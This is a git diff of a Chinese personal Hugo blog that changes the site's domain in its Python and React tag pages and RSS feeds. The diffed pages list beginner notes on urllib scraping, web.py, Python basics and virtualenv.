y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Python</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>python爬虫学习笔记</h2></header><div class=entry-content><p>urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Python | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/python/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/python/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Python"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/python/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Python"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Python</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>python爬虫学习笔记</h2></header><div class=entry-content><p>urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy
 python库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块
 urllib.request提供了最基本的http请求方法，主要带有处理授权验证，重定向，浏览器Cookies功能
 模拟浏览器发送get请求，就需要使用request对象，在该对象添加http头 import urllib.requst response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/') print(response.read().decode(‘utf-8’))
@@ -8,27 +8,13 @@
 post发送一个请求，只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({‘hallo’:‘python’}),encoding=‘utf-8’) response = urllib.request.urlopen(‘http://httpbin.org/post'.data = data) print(response.read())
 timeout参数用于设置超时时间，单位为秒 import urllib.request response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/',timeout=1)
 这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except
-import urllib.parse
-import urllib.request
-url = "https://xiaochenabc123.test.com/"
-headers = {
-'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537....</p></div><footer class=entry-footer><span title='2021-12-31 01:05:00 +0000 UTC'>2021-12-31</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to python爬虫学习笔记" href=https://xiaochenabc123.github.io/posts/125/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Web.py学习笔记</h2></header><div class=entry-content><p>web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）
+import urllib.parse import urllib.request url = "https://xiaochenabc123.test.com/" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537....</p></div><footer class=entry-footer><span title='2021-12-31 01:05:00 +0000 UTC'>2021-12-31</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to python爬虫学习笔记" href=https://chenjunlinabc.github.io/posts/125/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Web.py学习笔记</h2></header><div class=entry-content><p>web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）
 安装web.py
 pip install web.py
 导入模块
 import web
 第一个例子
-import web
-urls = (
-"/(.*)","hallo"
-)
-app = web.application(urls,globals())
-class hallo:
-def GET(self,name):
-return "&lt;h1>hallo web.py&lt;/h1>"
-if __name__=="__main__":
-app.run()
-可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</p></div><footer class=entry-footer><span title='2021-10-18 12:00:00 +0000 UTC'>2021-10-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Web.py学习笔记" href=https://xiaochenabc123.github.io/posts/117/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>python基础语法笔记</h2></header><div class=entry-content><p>安装python
+import web urls = ( "/(.*)","hallo" ) app = web.application(urls,globals()) class hallo: def GET(self,name): return "&lt;h1>hallo web.py&lt;/h1>" if __name__=="__main__": app.run() 可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</p></div><footer class=entry-footer><span title='2021-10-18 12:00:00 +0000 UTC'>2021-10-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Web.py学习笔记" href=https://chenjunlinabc.github.io/posts/117/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>python基础语法笔记</h2></header><div class=entry-content><p>安装python
 推荐安装anaconda3（linux）
 wget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh
 dash Anaconda3-2019.10-Linux-x86_64.sh
@@ -67,7 +53,7 @@
 python能直接处理的有：整型，浮点型，字符串，布尔值，空值，变量，常量
 python可以处理整型任意大小的整数，也可以使用二进制代表整数、
 浮点型就是小数，使用科学记数法表示时，一个浮点数的小数点位置是可变的，所以小数又叫浮点型，表示很大或很小的浮点数，必须用科学计数法表示
-字符串是使用"“和’‘括起来的任意文本，‘‘或"“本身只是一种表示方式，不是字符串的一部分...</p></div><footer class=entry-footer><span title='2021-06-16 14:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to python基础语法笔记" href=https://xiaochenabc123.github.io/posts/28/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Python的一些神器的简单用法</h2></header><div class=entry-content><p>Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境
+字符串是使用"“和’‘括起来的任意文本，‘‘或"“本身只是一种表示方式，不是字符串的一部分...</p></div><footer class=entry-footer><span title='2021-06-16 14:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to python基础语法笔记" href=https://chenjunlinabc.github.io/posts/28/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Python的一些神器的简单用法</h2></header><div class=entry-content><p>Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境
 用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响
 当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题
 Windows pip install virtualenvwrapper-win
@@ -91,7 +77,7 @@
 临时使用 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pandas
 linux下
 配置永久使用
-cd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip....</p></div><footer class=entry-footer><span title='2021-06-16 14:39:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Python的一些神器的简单用法" href=https://xiaochenabc123.github.io/posts/27/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+cd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip....</p></div><footer class=entry-footer><span title='2021-06-16 14:39:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Python的一些神器的简单用法" href=https://chenjunlinabc.github.io/posts/27/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/python/index.xml b/tags/python/index.xml
index 4eaf2806..6f86faf4 100644
--- a/tags/python/index.xml
+++ b/tags/python/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Python on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/python/</link>
+    <link>https://chenjunlinabc.github.io/tags/python/</link>
     <description>Recent content in Python on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Fri, 31 Dec 2021 01:05:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/python/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Fri, 31 Dec 2021 01:05:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/python/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>python爬虫学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/125/</link>
+      <link>https://chenjunlinabc.github.io/posts/125/</link>
       <pubDate>Fri, 31 Dec 2021 01:05:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/125/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/125/</guid>
       <description>urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy
 python库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块
 urllib.request提供了最基本的http请求方法，主要带有处理授权验证，重定向，浏览器Cookies功能
@@ -28,30 +28,30 @@ HTTPResposne类型对象
 post发送一个请求，只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({&amp;lsquo;hallo&amp;rsquo;:&amp;lsquo;python&amp;rsquo;}),encoding=&amp;lsquo;utf-8&amp;rsquo;) response = urllib.request.urlopen(&amp;lsquo;http://httpbin.org/post&#39;.data = data) print(response.read())
 timeout参数用于设置超时时间，单位为秒 import urllib.request response = urllib.request.urlopen(&amp;lsquo;https://xiaochenabc123.test.com/&#39;,timeout=1)
 这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except
-import urllib.parse
import urllib.request
url = &amp;quot;https://xiaochenabc123.test.com/&amp;quot;
headers = {
&#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.</description>
+import urllib.parse import urllib.request url = &amp;quot;https://xiaochenabc123.test.com/&amp;quot; headers = { &#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.</description>
     </item>
     
     <item>
       <title>Web.py学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/117/</link>
+      <link>https://chenjunlinabc.github.io/posts/117/</link>
       <pubDate>Mon, 18 Oct 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/117/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/117/</guid>
       <description>web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）
 安装web.py
 pip install web.py
 导入模块
 import web
 第一个例子
-import web
urls = (
&amp;quot;/(.*)&amp;quot;,&amp;quot;hallo&amp;quot;
)
app = web.application(urls,globals())
class hallo:
def GET(self,name):
return &amp;quot;&amp;lt;h1&amp;gt;hallo web.py&amp;lt;/h1&amp;gt;&amp;quot;
if __name__==&amp;quot;__main__&amp;quot;:
app.run()
可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</description>
+import web urls = ( &amp;quot;/(.*)&amp;quot;,&amp;quot;hallo&amp;quot; ) app = web.application(urls,globals()) class hallo: def GET(self,name): return &amp;quot;&amp;lt;h1&amp;gt;hallo web.py&amp;lt;/h1&amp;gt;&amp;quot; if __name__==&amp;quot;__main__&amp;quot;: app.run() 可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</description>
     </item>
     
     <item>
       <title>python基础语法笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/28/</link>
+      <link>https://chenjunlinabc.github.io/posts/28/</link>
       <pubDate>Wed, 16 Jun 2021 14:40:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/28/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/28/</guid>
       <description>安装python
 推荐安装anaconda3（linux）
 wget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh
@@ -96,10 +96,10 @@ python可以处理整型任意大小的整数，也可以使用二进制代表
     
     <item>
       <title>Python的一些神器的简单用法</title>
-      <link>https://xiaochenabc123.github.io/posts/27/</link>
+      <link>https://chenjunlinabc.github.io/posts/27/</link>
       <pubDate>Wed, 16 Jun 2021 14:39:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/27/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/27/</guid>
       <description>Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境
 用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响
 当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题
diff --git a/tags/python/page/1/index.html b/tags/python/page/1/index.html
index 13474395..d68c9caf 100644
--- a/tags/python/page/1/index.html
+++ b/tags/python/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/python/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/python/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/python/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/python/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/python/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/python/"></head></html>
\ No newline at end of file
diff --git a/tags/react/index.html b/tags/react/index.html
index 23ada028..ab1aa63d 100644
--- a/tags/react/index.html
+++ b/tags/react/index.html
@@ -1,24 +1,12 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>React | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/react/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/react/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="React"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/react/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="React"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>React</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>React进阶学习笔记</h2></header><div class=entry-content><p>react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>React | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/react/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/react/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="React"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/react/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image 